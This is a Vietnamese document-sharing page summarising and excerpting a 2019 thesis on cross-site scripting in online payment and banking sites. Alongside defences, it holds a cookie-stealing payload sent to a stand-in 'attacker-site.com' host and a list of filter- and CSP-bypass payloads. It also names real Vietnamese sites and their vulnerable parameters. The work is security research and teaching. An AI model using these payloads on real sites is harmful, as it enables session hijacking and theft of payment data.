Nghiên cứu lỗ hổng Cross-Site Scripting (XSS) trong thanh toán online

XSS là gì? Nghiên cứu chuyên sâu về lỗ hổng XSS trong thanh toán trực tuyến. Tìm hiểu cách tin tặc khai thác và biện pháp phòng ngừa hiệu quả nhất.

Chuyên ngành

Công Nghệ Thông Tin

Người đăng

Ẩn danh

Thể loại

Khóa luận tốt nghiệp

2019

53
1
0

Phí lưu trữ

30 Point

Mục lục chi tiết

LỜI MỞ ĐẦU

I. CHƯƠNG I: GIỚI THIỆU

1.1. Giới thiệu về Cross – site Scripting (XSS)

1.2. Các phương thức tấn công XSS

1.3. Tác hại và những cuộc tấn công tiêu biểu của xss

1.4. Cross – site Scripting (XSS) trong thanh toán online

1.5. Các loại bypass nâng cao

1.6. Mục đích nghiên cứu. Đối tượng nghiên cứu

1.7. Nội dung và phạm vi nghiên cứu

1.8. Thời gian thực hiện nghiên cứu

II. CHƯƠNG II: THỰC HIỆN NGHIÊN CỨU ĐỀ TÀI

2.1. Cross – site Scripting với trang web có thanh toán online

2.2. Tấn công DOM-based XSS

2.3. Tấn công Stored XSS

2.4. Tấn công reflected XSS

2.5. Cross-Site-Scripting với trang web của ngân hàng

2.6. Đánh giá và đề xuất phương pháp bảo mật

2.7. Hệ thống đề xuất

III. CHƯƠNG III: KẾT LUẬN

3.1. Những vấn đề đã làm được

3.2. Những vấn đề chưa làm được

3.3. Hướng phát triển nghiên cứu

TÀI LIỆU THAM KHẢO

DANH SÁCH BẢNG

DANH SÁCH HÌNH

Tóm tắt

I. XSS là gì Tổng quan về lỗ hổng bảo mật thanh toán online

Lỗ hổng Cross-Site Scripting (XSS) là một trong những mối đe dọa an ninh mạng lâu đời và phổ biến nhất, xuất hiện từ những ngày đầu của World Wide Web. Đây là một kỹ thuật tấn công cho phép tin tặc chèn các đoạn mã độc hại, thường là JavaScript, vào các trang web hợp pháp. Khi người dùng truy cập trang web bị nhiễm, mã độc này sẽ được thực thi trên trình duyệt của họ. Mục tiêu chính của các cuộc tấn công XSS không phải là máy chủ web, mà là người dùng cuối. Bằng cách khai thác lòng tin của người dùng đối với một trang web quen thuộc, kẻ tấn công có thể thực hiện nhiều hành vi nguy hiểm như đánh cắp cookie, chiếm quyền truy cập (session hijacking), ghi lại thao tác bàn phím (keylogging), hoặc chuyển hướng người dùng đến các trang lừa đảo. Trong bối cảnh thương mại điện tử và thanh toán online phát triển mạnh mẽ, lỗ hổng bảo mật XSS trở nên đặc biệt nghiêm trọng. Nó có thể bị lợi dụng để đánh cắp thông tin thẻ tín dụng, tài khoản ngân hàng và các dữ liệu cá nhân nhạy cảm khác, gây ra thiệt hại tài chính nặng nề. Theo báo cáo của Liên minh Viễn Thông Quốc Tế (ITU) vào tháng 5/2015, chỉ số an toàn thông tin mạng của Việt Nam còn ở mức tương đối thấp, tạo điều kiện cho các loại hình tấn công như XSS phát triển.

1.1. Lịch sử và mức độ phổ biến của Cross Site Scripting

Cross-Site Scripting (XSS) không phải là một mối đe dọa mới. Lỗ hổng này đã được biết đến từ năm 1996 và chính thức được đặt tên vào năm 2000. Mặc dù đã có hơn 20 năm để các nhà phát triển tìm cách khắc phục, XSS vẫn liên tục đứng đầu trong danh sách các lỗ hổng bảo mật ứng dụng web phổ biến nhất. Theo một thống kê của Symantec vào năm 2007, XSS chiếm tới 84% tổng số lỗ hổng bảo mật được ghi nhận. Đến năm 2019, báo cáo của Acunetix vẫn cho thấy XSS chiếm 30% các lỗ hổng trong ứng dụng web. OWASP (Open Web Application Security Project) cũng liên tục xếp XSS vào danh sách Top 10 rủi ro bảo mật web nghiêm trọng nhất. Sự tồn tại dai dẳng này cho thấy tính phức tạp trong việc ngăn chặn triệt để XSS, đặc biệt khi các ứng dụng web ngày càng trở nên tương tác và phụ thuộc nhiều vào JavaScript. Các cuộc tấn công nổi tiếng trong lịch sử nhắm vào các nền tảng lớn như MySpace (Samy Worm, 2005), Twitter (2010), và thậm chí cả eBay đã chứng minh sức tàn phá và khả năng lây lan nhanh chóng của lỗ hổng XSS.

1.2. Phân loại 3 dạng tấn công XSS phổ biến nhất hiện nay

Các cuộc tấn công XSS được phân thành ba loại chính, mỗi loại có cơ chế hoạt động và mức độ nguy hiểm khác nhau.

Loại thứ nhất là Reflected XSS (Non-Persistent). Đây là dạng tấn công phổ biến nhất. Kẻ tấn công tạo một URL chứa mã độc và lừa người dùng nhấp vào. Máy chủ web sẽ phản hồi (reflect) lại mã độc này trong nội dung trang và thực thi nó trên trình duyệt của nạn nhân. Dữ liệu độc hại không được lưu trữ trên máy chủ.

Loại thứ hai là Stored XSS (Persistent). Đây là dạng tấn công nguy hiểm nhất. Kẻ tấn công chèn mã độc vào một vị trí trên website nơi dữ liệu được lưu trữ vĩnh viễn, chẳng hạn như phần bình luận, hồ sơ người dùng, hoặc bài đăng. Bất kỳ ai truy cập vào trang chứa mã độc này đều sẽ trở thành nạn nhân. Mã độc sẽ tự động thực thi mà không cần tương tác trực tiếp từ người dùng.

Loại thứ ba là DOM-based XSS. Đây là một biến thể nâng cao, nơi lỗ hổng nằm hoàn toàn ở phía client. Mã độc sẽ thay đổi cấu trúc của Document Object Model (DOM) trên trình duyệt của người dùng để thực thi. Kiểu tấn công này rất khó bị phát hiện bởi các hệ thống bảo mật phía máy chủ vì mã độc không bao giờ được gửi đến server.

II. Tác hại khôn lường của XSS trong các giao dịch trực tuyến

Mặc dù lỗ hổng XSS chỉ tấn công vào người dùng cuối, tác động của nó đối với các hệ thống thanh toán online là vô cùng nghiêm trọng. Mức độ thiệt hại không chỉ dừng lại ở việc hiển thị một pop-up phiền toái, mà còn có thể dẫn đến mất mát tài chính và dữ liệu trên quy mô lớn. Khi một trang web thương mại điện tử hoặc cổng thanh toán tồn tại lỗ hổng XSS, kẻ tấn công có thể chèn các đoạn mã script để tạo ra các biểu mẫu giả mạo, lừa người dùng nhập thông tin nhạy cảm như số thẻ tín dụng, mã CVC, và mật khẩu. Hơn nữa, kỹ thuật đánh cắp cookie và session token là một trong những mục tiêu hàng đầu của XSS. Khi có được session của người dùng, kẻ tấn công có thể mạo danh họ để thực hiện các giao dịch, thay đổi thông tin cá nhân, hoặc thậm chí chuyển tiền từ tài khoản của nạn nhân. Tác hại không chỉ giới hạn ở người dùng cá nhân. Đối với doanh nghiệp, một sự cố bảo mật liên quan đến tấn công XSS có thể làm xói mòn lòng tin của khách hàng, gây tổn thất danh tiếng nặng nề, và dẫn đến các chi phí khổng lồ cho việc khắc phục sự cố và bồi thường thiệt hại. Các nghiên cứu chỉ ra rằng chi phí trung bình để giải quyết một cuộc tấn công mạng có thể lên tới hàng chục nghìn đô la.

2.1. Kịch bản tấn công đánh cắp cookie và chiếm đoạt session

Một trong những kịch bản tấn công XSS phổ biến nhất là đánh cắp cookie. Cookie là những mẩu dữ liệu nhỏ được trang web lưu trữ trên trình duyệt để duy trì trạng thái đăng nhập của người dùng. Kẻ tấn công sẽ chèn một đoạn mã JavaScript đơn giản vào trang web có lỗ hổng. Mã này có nhiệm vụ đọc document.cookie của nạn nhân và gửi nó về một máy chủ do kẻ tấn công kiểm soát. Ví dụ, một đoạn mã như <script>document.location='http://attacker-site.com/steal?cookie='+document.cookie</script> có thể được chèn vào phần bình luận. Khi người dùng khác xem bình luận này, trình duyệt của họ sẽ tự động thực thi mã và gửi cookie phiên đăng nhập về cho kẻ tấn công. Sau khi có được cookie, kẻ tấn công có thể sử dụng các công cụ chuyên dụng để chèn cookie này vào trình duyệt của mình và truy cập vào tài khoản của nạn nhân mà không cần mật khẩu. Quá trình này được gọi là chiếm đoạt phiên làm việc hay session hijacking, cho phép kẻ tấn công toàn quyền kiểm soát tài khoản của nạn nhân.

2.2. Rủi ro mất mát dữ liệu và tài chính cho doanh nghiệp

Đối với doanh nghiệp, lỗ hổng XSS không chỉ là một vấn đề kỹ thuật mà còn là một rủi ro kinh doanh nghiêm trọng. Trước hết, việc để lộ thông tin khách hàng, bao gồm tên, địa chỉ, số thẻ tín dụng, là một vi phạm bảo mật lớn. Điều này có thể dẫn đến các vụ kiện pháp lý và các khoản phạt nặng nề từ các cơ quan quản lý, đặc biệt nếu doanh nghiệp không tuân thủ các tiêu chuẩn như PCI DSS (Payment Card Industry Data Security Standard). Thứ hai, uy tín thương hiệu sẽ bị tổn hại nghiêm trọng. Khách hàng sẽ mất niềm tin vào một nền tảng không thể bảo vệ dữ liệu của họ, dẫn đến sụt giảm doanh thu và mất thị phần. Chi phí khắc phục cũng là một gánh nặng lớn, bao gồm chi phí điều tra, sửa chữa lỗ hổng, quản lý khủng hoảng truyền thông và bồi thường cho khách hàng bị ảnh hưởng. Trong trường hợp tấn công XSS được sử dụng làm bàn đạp cho các cuộc tấn công khác như DDoS hoặc SQL Injection, thiệt hại có thể còn lớn hơn, gây gián đoạn hoạt động kinh doanh và mất mát dữ liệu hệ thống.

III. Phân tích các phương thức tấn công XSS vào hệ thống online

Để hiểu cách phòng chống, cần phải nắm rõ cách thức hoạt động của các cuộc tấn công XSS. Kẻ tấn công thường bắt đầu bằng việc rà soát các trang web để tìm kiếm những điểm yếu. Các điểm yếu này thường nằm ở những nơi ứng dụng web nhận đầu vào từ người dùng và hiển thị lại mà không qua quá trình xác thực hoặc lọc dữ liệu đầy đủ. Các vị trí phổ biến bao gồm thanh tìm kiếm, các biểu mẫu bình luận, trang hồ sơ cá nhân, hoặc thậm chí là các tham số trên URL. Sau khi xác định được lỗ hổng, kẻ tấn công sẽ tạo ra một payload – một đoạn mã script độc hại – được thiết kế để thực hiện một hành động cụ thể, chẳng hạn như đánh cắp cookie. Payload này có thể được ngụy trang hoặc mã hóa để vượt qua các bộ lọc bảo mật cơ bản. Tùy thuộc vào loại lỗ hổng, payload sẽ được gửi đến nạn nhân thông qua một liên kết lừa đảo (Reflected XSS), được lưu trữ trực tiếp trên máy chủ (Stored XSS), hoặc khai thác các hàm JavaScript phía client (DOM-based XSS). Sự tinh vi của các cuộc tấn công ngày càng tăng, với các kỹ thuật bypass bộ lọc và chính sách bảo mật nội dung (CSP) ngày càng phức tạp.

3.1. Kỹ thuật tấn công Reflected XSS và Stored XSS chi tiết

Trong một cuộc tấn công Reflected XSS, mã độc được chứa trong chính yêu cầu (request) gửi đến máy chủ. Ví dụ, một trang web có chức năng tìm kiếm với URL https://example.com/search?q=myquery. Nếu trang web này hiển thị trực tiếp giá trị của q mà không lọc, kẻ tấn công có thể tạo ra một URL như https://example.com/search?q=<script>alert('XSS')</script>. Khi nạn nhân nhấp vào liên kết này, máy chủ sẽ trả về một trang HTML chứa đoạn script độc hại và trình duyệt sẽ thực thi nó. Ngược lại, Stored XSS có cơ chế nguy hiểm hơn. Kẻ tấn công gửi mã độc đến ứng dụng web và nó được lưu lại trong cơ sở dữ liệu. Ví dụ, trong phần bình luận của một bài viết, kẻ tấn công đăng một bình luận chứa <script>...</script>. Mã này sẽ được lưu trữ trên máy chủ. Sau đó, bất kỳ người dùng nào truy cập vào trang bài viết đó, trình duyệt của họ sẽ tải và thực thi đoạn script độc hại này, khiến họ trở thành nạn nhân một cách thụ động. Đây là lý do Stored XSS có khả năng lây lan và gây thiệt hại trên diện rộng.

3.2. Cơ chế hoạt động của tấn công DOM based XSS hiện đại

DOM-based XSS là một loại tấn công tinh vi vì nó diễn ra hoàn toàn trên trình duyệt của người dùng. Lỗ hổng không nằm ở cách máy chủ xử lý dữ liệu, mà ở cách mã JavaScript phía client xử lý dữ liệu từ các nguồn không an toàn. Document Object Model (DOM) là một cấu trúc cây đại diện cho các thành phần của một trang web. JavaScript có thể thay đổi DOM để cập nhật nội dung trang một cách linh hoạt. Một cuộc tấn công DOM-based XSS xảy ra khi một đoạn script phía client lấy dữ liệu từ một nguồn mà kẻ tấn công có thể kiểm soát (ví dụ như document.location.hash) và sử dụng dữ liệu đó để sửa đổi DOM một cách không an toàn. Ví dụ, một đoạn code như document.write(location.hash) có thể bị khai thác. Kẻ tấn công chỉ cần tạo một URL như https://example.com#<img src=x onerror=alert(1)> và lừa nạn nhân truy cập. Trình duyệt sẽ thực thi mã JavaScript trong hash, dẫn đến cuộc tấn công XSS mà không có bất kỳ dữ liệu độc hại nào được gửi đến máy chủ.

IV. Nghiên cứu thực tiễn lỗ hổng XSS tại các website Việt Nam

Nghiên cứu được tiến hành đã chỉ ra rằng lỗ hổng XSS vẫn còn tồn tại ở nhiều trang web tại Việt Nam, từ các trang thương mại điện tử vừa và nhỏ cho đến các hệ thống lớn, thậm chí cả website ngân hàng. Điều này cho thấy nhận thức về bảo mật ứng dụng web vẫn chưa được quan tâm đúng mức. Các cuộc tấn công thử nghiệm đã chứng minh khả năng khai thác thành công các lỗ hổng này để đánh cắp cookie và chiếm quyền đăng nhập. Mặc dù việc khai thác XSS đơn thuần để trực tiếp đánh cắp tiền từ tài khoản ngân hàng là rất khó, nó lại tạo ra tiền đề cực kỳ nguy hiểm cho các cuộc tấn công khác. Khi kết hợp với các kỹ thuật social engineering hoặc các lỗ hổng khác như chính sách mật khẩu yếu, không sử dụng xác thực hai yếu tố (OTP), kẻ tấn công hoàn toàn có thể gây ra thiệt hại tài chính. Nghiên cứu thực tiễn này là một lời cảnh báo cho các doanh nghiệp Việt Nam về sự cần thiết phải đầu tư nghiêm túc vào an ninh mạng, không chỉ để bảo vệ tài sản của mình mà còn để bảo vệ thông tin và sự an toàn của người dùng.

4.1. Phân tích case study tấn công vào trang thương mại điện tử

Trong nghiên cứu, một số trang web thương mại điện tử như Hasaki và Miraso đã được phân tích. Trường hợp của Hasaki là một ví dụ điển hình về DOM-based XSS. Lỗ hổng nằm ở tham số cat trên URL, cho phép chèn trực tiếp mã script vào mã nguồn của trang. Bằng cách tạo một URL đã được mã hóa, kẻ tấn công có thể lừa người dùng nhấp vào, từ đó lấy được cookie và chiếm quyền đăng nhập vào tài khoản của họ để xem và thay đổi thông tin cá nhân. Tương tự, trang Miraso bị phát hiện có lỗ hổng Reflected XSS ngay trên thanh tìm kiếm. Kẻ tấn công có thể chèn mã script vào truy vấn tìm kiếm, và khi người dùng được gửi một liên kết chứa truy vấn này, cookie của họ sẽ bị đánh cắp. Thực tế này cho thấy ngay cả những chức năng cơ bản nhất cũng có thể trở thành cửa ngõ cho các cuộc tấn công XSS nếu không được lập trình một cách cẩn thận.

4.2. Khai thác lỗ hổng trên cổng thanh toán và website ngân hàng

Nghiên cứu cũng nhắm đến các mục tiêu nhạy cảm hơn như trang cộng đồng âm nhạc ZingMP3 (có liên kết ZaloPay) và website của Bắc Á Bank. ZingMP3 đã bị phát hiện có lỗ hổng Stored XSS trong phần bình luận. Kẻ tấn công có thể đăng một bình luận chứa mã độc, và bất kỳ ai xem bình luận đó đều có nguy cơ bị đánh cắp session đăng nhập. Điều này tạo tiền đề cho việc tấn công vào các tài khoản liên kết như Zalo và ZaloPay. Đáng báo động hơn, website ngân hàng Bắc Á Bank cũng được phát hiện có lỗ hổng Reflected XSS trên thanh tìm kiếm của trang chủ. Mặc dù việc khai thác này không trực tiếp lấy được session đăng nhập vào tài khoản e-banking (do hai hệ thống tách biệt), nó vẫn cho thấy một điểm yếu bảo mật nghiêm trọng. Nếu lỗ hổng tương tự tồn tại trong các hệ thống giao dịch, hậu quả sẽ vô cùng khó lường. Các trường hợp này nhấn mạnh rằng ngay cả các tổ chức lớn cũng cần rà soát và vá các lỗ hổng bảo mật một cách thường xuyên.

V. Hướng dẫn các phương pháp phòng chống tấn công XSS hiệu quả

Việc phòng chống tấn công XSS đòi hỏi một chiến lược bảo mật đa lớp, kết hợp cả các biện pháp ở phía máy chủ và phía client. Không có một giải pháp duy nhất nào có thể ngăn chặn hoàn toàn mọi biến thể của XSS. Nguyên tắc cơ bản nhất là "Không bao giờ tin tưởng dữ liệu đầu vào từ người dùng". Mọi dữ liệu do người dùng cung cấp, dù là qua URL, biểu mẫu hay cookie, đều phải được coi là không an toàn và cần được xử lý cẩn thận trước khi hiển thị lại trên trang. Hai kỹ thuật cốt lõi trong việc phòng chống XSS là xác thực đầu vào (input validation) và mã hóa đầu ra (output encoding). Xác thực đầu vào đảm bảo rằng dữ liệu nhận được tuân thủ đúng định dạng dự kiến, loại bỏ các ký tự hoặc thẻ HTML nguy hiểm. Mã hóa đầu ra chuyển đổi các ký tự đặc biệt thành các thực thể HTML an toàn, khiến trình duyệt hiển thị chúng dưới dạng văn bản thay vì thực thi chúng như mã lệnh. Ngoài ra, việc triển khai các cơ chế bảo mật hiện đại như Content Security Policy (CSP) và sử dụng Tường lửa ứng dụng web (WAF) cũng là những bước đi quan trọng để tăng cường khả năng phòng thủ.

5.1. Triển khai Tường lửa ứng dụng web WAF để bảo vệ

Một Tường lửa ứng dụng web (WAF) là một lớp phòng thủ quan trọng, hoạt động như một bộ lọc giữa người dùng và máy chủ ứng dụng. WAF có khả năng giám sát và lọc lưu lượng HTTP, phát hiện và chặn các yêu cầu có dấu hiệu của một cuộc tấn công XSS. Hầu hết các WAF hiện đại đều được trang bị một bộ quy tắc (ruleset) được cập nhật thường xuyên để nhận dạng các payload XSS phổ biến, bao gồm cả các kỹ thuật mã hóa và bypass. Ví dụ, WAF có thể được cấu hình để chặn các yêu cầu chứa các thẻ <script>, các thuộc tính sự kiện như onerror, onload, hoặc các hàm JavaScript nguy hiểm như alert(), eval(). Các giải pháp WAF mã nguồn mở như ModSecurity hoặc các sản phẩm thương mại từ Fortinet, Imperva, F5 cung cấp một hàng rào bảo vệ hiệu quả, giúp giảm thiểu rủi ro bị tấn công ngay cả khi ứng dụng web vẫn còn tồn tại lỗ hổng chưa được vá.

5.2. Các quy tắc lọc đầu vào và mã hóa đầu ra an toàn

Đây là phương pháp phòng thủ cơ bản và hiệu quả nhất, cần được áp dụng ở tầng mã nguồn ứng dụng. Lọc đầu vào (Input Validation) là quá trình kiểm tra dữ liệu do người dùng cung cấp. Thay vì cố gắng loại bỏ các ký tự độc hại (blacklisting), phương pháp an toàn hơn là chỉ cho phép các ký tự hoặc định dạng hợp lệ (whitelisting). Ví dụ, nếu một trường yêu cầu nhập số điện thoại, ứng dụng chỉ nên chấp nhận các ký tự số. Mã hóa đầu ra (Output Encoding) là bước quan trọng nhất. Trước khi hiển thị bất kỳ dữ liệu nào có nguồn gốc từ người dùng, ứng dụng phải mã hóa nó theo ngữ cảnh. Ví dụ, khi chèn dữ liệu vào thân HTML, các ký tự như < phải được chuyển thành &lt;, > thành &gt;. Điều này đảm bảo trình duyệt sẽ hiển thị các ký tự này dưới dạng văn bản thay vì diễn giải chúng như các thẻ HTML. Việc áp dụng nhất quán hai quy tắc này sẽ vô hiệu hóa phần lớn các cuộc tấn công XSS.

22/09/2025

Trích đoạn nội dung tài liệu

Chương I: Giới thiệu  Người dùng sẽ truy cập URL do attacker cung cấp trong khi đăng nhập vào trang web đã cho.  Mã script được nhúng sẽ xử lý trên trình duyệt của người dùng, nó thể gửi cookie, session của người dùng đến cho attacker. Attacker chiếm phiên làm việc của người dùng.  Persistent or Stored XSS Cơ sở tri thức: Trong Stored XSS, attacker nhúng mã JavaScript vào trang web bị lỗi, mã JavaScript đó được lưu xuống database của web bị lỗi.

Mã JavaScript sẽ tồn tại mãi mãi. Khi người dùng tương tác với trang web đó thì mã JavaScript sẽ tự động kích hoạt và thực thi. Cookie của người dùng sẽ tự động được gửi đến attacker, attacker sẽ chiếm phiên làm việc của người dùng. Hình 6 Cơ chế tấn công Stored XSS Cơ chế tấn công: Quy trình tấn công Stored XSS:  Attacker nhiễm mã JavaScript vào ứng dụng web.

 Mã JavaScript sẽ được lưu xuống máy chủ, thành một phần của trang web. Bất cứ khi nào người dùng truy cập vào trang web mã code sẽ bắt đầu ghi lại những hành động của người dùng và trang. Trang 12 Chương I: Giới thiệu  Nếu đó là một web mua hàng thanh toán như eBay, người dùng sẽ không chút nghi ngờ, sau khi mua hàng, người dùng sẽ thanh toán, điền số thẻ, tên thẻ, ngày hết hạn điền mã CVC,.  Sau đó trang sẽ thực thi khi mã gửi thông tin về cho attacker với tất cả những thông tin thì attacker có thể chiếm đoạt tài sản của người dùng hết sức dễ dàng.

 DOM-based XSS Cơ sở tri thức: DOM viết tắt của Document Object Model là 1 dạng chuẩn của W3C đưa ra nhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML, XML. Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp. Tất cả các thành phần trong HTML, XML đều được xem như một node. DOM Based XSS là một biến thể của Stored XSS và Reflected, kỹ thuật này khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML.

Một trong những khác biệt lớn nhất giữa DOM XSS, Stored XSS và Reflected XSS là DOM không thể bị chặn bởi các bộ lọc phía máy chủ vì mã độc sẽ không bao giờ được gửi đến máy chủ. Hình 7 Cơ chế tấn công DOM-based XSS Trang 13 Chương I: Giới thiệu Cơ chế tấn công:  Attacker tạo một địa chỉ URL đã được nhúng mã JavaScript cho người dùng.  Người dùng bị lừa và truy cập vào đường dẫn của attacker gửi đến.  Máy chủ gửi phản hồi lại cho người dùng đồng thời người dùng kích hoạt mã script, script được thực thi.

 Session được gửi đến attacker và attacker có được session của người dùng. Tác hại và những cuộc tấn công tiêu biểu của xss Vì mục đích chỉ tấn công vào người dùng và tạo ra những trang không thực, một số người cho rằng XSS là một lỗ hổng bảo mật không mấy nghiêm trọng. Nhưng trên thực tế XSS là một lỗ hổng bảo mật nghiêm trọng như SQL Injections. Cross-site scripting (XSS) nằm ở vị trí thứ 7 trong OWASP Top Ten Most Critical Web Application Security Risks[v] và xếp thứ hai trong số các lỗ hổng phổ biến trong ứng dụng web.

Theo báo cáo của HackerOne’s 2018, XSS tiếp tục là một trong số những lỗ hổng thường gặp nhất. Trong khi đó, một dự án phi lợi nhuận đã sửa chữa hơn 125.000 lỗ hổng XSS cho các trang web trên khắp thế giới. Google đã tiêu tốn 7.500$ cho một lỗ hổng XSS trên tài khoản người dùng. Theo báo cáo trang thái của phần mềm mới nhất của Veracode, 28% trong số các ứng dụng có lỗ hổng SQL, 40% trong số các ứng dụng có lỗ hổng XSS.

Năm 2010, một attacker đã khai thác lỗ hổng XSS của Apache Software Foundation để tấn công lấy quyền truy cập root vào máy chủ chính apache.[vi] Trang 14 Chương I: Giới thiệu Năm 2014, eBay.com bị phát hiện có lỗ hổng XSS và cho đến 2017, eBay vẫn đang được coi là có lỗ hổng XSS. Theo một nghiên cứu về chi phí của Cyber Crime, do Viện Ponemon, thời gian trung bình phải mất để giải quyết một cuộc tấn công là 32 ngày - với chi phí trung bình là $ 1. Nếu máy chủ web đang bị xâm nhập và các ứng dụng web không còn hoạt động, tổn thất sẽ còn cao hơn. Nếu doanh nghiệp có 25 nhân viên mạng lại cho doanh thu theo giờ $ 100 mỗi giờ, và 80% trong số họ bị ảnh hưởng bởi việc không thể sử dụng ứng dụng web doanh nghiệp cho một ngày nào đó, doanh nghiệp sẽ mất tiền trong khoảng từ $ 20.000, sau đó doanh nghiệp phải thêm chi phí làm việc với các nhà cung cấp phần mềm của mình để sửa chữa lỗ hổng XSS.

Nếu attacker đánh cắp thông tin khách hàng đối tác/cá nhân : bao gồm: tên, địa chỉ, số SSNs, số thẻ tín dụng,… vì những thông tin này dễ dàng có được và có thể sử dụng được cho các hoạt động phạm tội, chi phí cơ sở dữ liệu có thể là:  Mất uy tín dẫn đến giảm doanh thu do giảm số lượng khách hàng.  Chi phí điều tra nội bộ.  Chi phí quản lý khủng hoảng.  Chi phí bồi thường các loại ràng buộc( ràng buộc bảo vệ thông tin khách hàng,…) 1.

Cross – site Scripting (XSS) trong thanh toán online  Mục đích tấn công Trang 15 Chương I: Giới thiệu Bằng việc lấy thông tin của thông tin cá nhân, số thẻ ngân hàng, chứng minh thư hoặc đánh cắp phiên làm việc của ngân hàng, thậm chí là số dư tài khoản. Từ đó, các attacker có thể sử dụng chúng để tạo tiền đề cho các cuộc tấn công khác nhằm mục đích đánh cắp tiền từ tài khoản người dùng hoặc bán những thông tin khách hàng đó cho những tổ chức khắc nhằm mục đích phi pháp. Về cơ bản, nếu chỉ đơn thuần sử dụng kỹ thuật XSS thì attacker khó có thể thực hiện việc tấn công trong thanh toán online, nhưng XSS vẫn được coi là một trong số những lỗ hổng nguy hiểm vì nếu khi XSS kết hợp với nhiều lỗ hổng mật khác (chính sách bảo mật password yếu kém, social engineering, không sử dụng mã OTP để truy cập và giao dịch.) hoặc trang thanh toán không tuân thủ các tiêu chuẩn bảo mật của các đối tác cổng thanh toán ( tiêu chuẩn bảo mật dữ liệu Secure Sockets Layer (SSL), chứng nhận tiêu chuẩn bảo mật dữ liệu thông tin thanh toán ( PCI DSS), tiêu chuẩn mã hóa MD5 128bit) thì các attacker không chỉ có thể chiếm thông tin người dùng mà còn có thể thực hiện việc chiếm tiền trong tài khoản của họ (đặc biệt là nếu trang thanh toán không sử dụng mã OTP trong giao dịch thanh toán) mà không cần dùng bất kỳ một kỹ thuật nào khác.  Cơ chế tấn công Đối với thanh toán online, Cross-Site-Scripting (XSS) có thể tấn công bằng một số kịch bản sau:  Attacker nhúng những mã tấn công vào ứng dụng web mục tiêu (web có lỗ hổng XSS và có thể khai thác), đánh lừa người dùng tự cung cấp các thông tin cá nhân (user, password,… ) hoặc mã tấn công tự lấy session đăng nhập của dùng.

 Cross-Site Scripting (XSS) có thể đánh cắp thông tin thanh toán từ các bộ xử lý thanh toán -The Payment Card Industry Data Security Standard (PCI DSS Trang 16 Chương I: Giới thiệu - tiêu chuẩn bảo mật thông tin thẻ toàn cầu) Cấp 1. Các cuộc tấn công gần đây cho thấy các khoản thanh toán bị tấn công liên tục, nhưng điều đó không có nghĩa là việc thanh toán dưới sự bảo trợ của tiêu chuẩn PCI là không an toàn, mà trên thực tế việc thanh toán trên một ứng dụng web là một tổ hợp bao gồm các bên phần mền thứ ba, chỉ cần một trog số đó hoặc một trong số các trang, cửa sổ liên kế hoặc ô textbox có lỗ hổng XSS thì việc thanh toán online liền trở nên không an toàn. Các trang thường có khung xử lý thanh toán được bảo vệ tốt nhưng các thành phần khác của trang có thể không được bảo vệ tốt cũng là nguy cơ bị tấn công. Attacker có thể sử dụng hai đoạn mã kết hợp với nhau trong trình duyệt của người dùng và tương tác theo cách mà dữ liệu được hiển thị.

Nếu attacker có thể có được đoạn mã tấn công để chạy bên cạnh trang xử lý thanh toán, họ có thể đọc bất cứ điều gì họ muốn.  Các cuộc tấn công lớn Trong đó tháng 6 tháng 7 năm 2006, Hacker người Indian Vansh Sharma và Vaibhuv Sharma, đã khai thác lỗ hổng XSS trên trang PayPal để đánh cắp dữ liệu quan trọng như số thẻ tín dụng từ các tài khoản thanh toán trong hơn hai năm cho đến khi các nhà phát triển của PayPal sửa lỗ hổng đó [ix][x]. Năm 2016, trang mua bán online eBay bị tìm thấy là có lỗ hổng XSS. Lỗ hổng thực chất nằm trong tham số URL cho phép hacker nhúng nhiễm iFrame độc hại vào website eBay, đến đầu năm 2017 lỗ hổng này vẫn chưa đươc sửa chữa.

Năm 2018, British Airways bị lộ dữ liệu của hơn 380,000 credit cards đây cũng được một só chuyên gia cho rằng là sản phẩm của lỗ hổng XSS. Trang 17 Chương I: Giới thiệu Sau hơn 20 năm, attacker không ngừng cải tiến và phát triển kỹ thuật cũng như quy mô tấn công của mình. Năm 2001, XSS chỉ sử dụng mã tấn công nhúng vào trang, lưu xuống nơi lưu trữ có thể gây nguy hại đến cá nhân người dùng. Trãi qua nhiều cuộc tấn công lớn XSS không chỉ là việc nhúng mã còn nhúng cả chương trình độc hại (worm), kết hợp nhiều loại XSS (DOM XSS), kết hợp nhiều loại tấn công ứng dụng web (SQL Injection, DDoS, social engineering,.) để thực hiện tấn công, vượt qua lớp bảo vệ của các thiết bị an ninh (bypass filter).

Các loại bypass nâng cao  Mixed Case XSS Sử dụng để bypass qua các trường hợp phân biệt chữ hoa và chữ thường: <svg Onload = alert(1)> <script>alert(1);</script>  Unclosed Tags Sử dụng để bypass qua các trường hợp tránh lọc dựa trên sự hiện diện của 2 dấu (<) và (>) <svg onload=alert(1)// <svg onload="alert(1)"  Double Encoded XSS Sử dụng các ứng dụng để double encoded đầu vào. Trang 18 Chương I: Giới thiệu %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%252 9%253E  Alert without Parentheses (Tag Exclusive) Sử dụng HTML thay thế “&” thành “%26” <svg onload=alert&lpar;1&rpar;> <svg onload=alert&#40;1&#41>  Alert without Alphabetic Chars Sử dụng ký tự alphabetic để mã hóa dữ liệu đầu vào []['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\ 157\162'] ('\141\154\145\162\164\50\61\51')()<SCRIPT SRC=//BRUTELOGIC.BR/1></SCRIPT>  CSP Bypass (for Whitelisted Google Domains) Sử dụng khi các CSP (Content-Security Policy) cho phép thực thi trên domain. <script src=https://www.com/complete/search?client=chrome %26jsonp=alert(1);></script> <script src=https://ajax.com/ajax/libs/angularjs/1.js> Trang 19 Chương I: Giới thiệu </script><x ng-app ng-csp>{{constructor.

Nội dung được bảo vệ bản quyền — Tải xuống đầy đủ